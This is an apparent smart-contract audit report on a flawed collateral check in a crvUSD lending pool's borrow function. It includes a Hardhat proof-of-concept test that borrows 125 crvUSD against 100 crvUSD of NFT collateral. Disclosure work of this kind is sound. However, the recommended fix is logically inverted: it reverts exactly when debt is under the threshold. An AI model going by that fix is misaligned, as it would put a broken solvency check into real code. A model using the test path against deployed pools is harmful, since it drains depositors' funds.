Summary
The LendingPool::borrow allows users to borrow more crvUSD than the actual value of collateral provided.
Vulnerability Details
The LendingPool::borrow is designed to allow users to borrow crvUSD as per the collater provided as NFT via the LendingPool::depositNFT function.
However, the check that determines whether the borrow amount respects the liquidation threshold is incorrect.
function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) { <<@ -
revert NotEnoughCollateralToBorrow();
}
}
The check evaluates upon the liquidation threshold percentage applied to the userTotalDebt, which is incorrect, thus allowing borrows greater than the actual collateral value provided.
Impact
The protocol would become insolvent.
Direct loss of funds for the liquidity providers / depositors.
Proof of concept
Add the following test case inside LendingPool.test.js file:
describe("Borrow Issue", function () {
beforeEach(async function () {
const depositAmount = ethers.parseEther("1000");
await crvusd.connect(user2).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user2).deposit(depositAmount);
const tokenId = 1;
await raacNFT.connect(user1).approve(lendingPool.target, tokenId);
await lendingPool.connect(user1).depositNFT(tokenId);
});
it("should allow user to borrow more than the collateral provided", async function () {
const userCollat = await lendingPool.getUserCollateralValue(user1.address);
expect(userCollat).to.equal(ethers.parseEther("100"));
const borrowAmount = ethers.parseEther("125");
await lendingPool.connect(user1).borrow(borrowAmount);
const debtBalance = await debtToken.balanceOf(user1.address);
expect(debtBalance).to.equal(borrowAmount);
const crvUSDBalance = await crvusd.balanceOf(user1.address);
expect(crvUSDBalance).to.equal(ethers.parseEther("1125"));
});
});
As we can observe, a 100 crvUSD valued collateral yeilded a 125 crvUSD borrow.
Tools Used
Manual Review
/
Hardhat
Recommendations
It is recommended to fix the check to apply liquidation threshold upon the collateral value, a fix for the same is suggested below:
function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
if (userTotalDebt < collateralValue.percentMul(liquidationThreshold)) { <<@ -
revert NotEnoughCollateralToBorrow();
}
}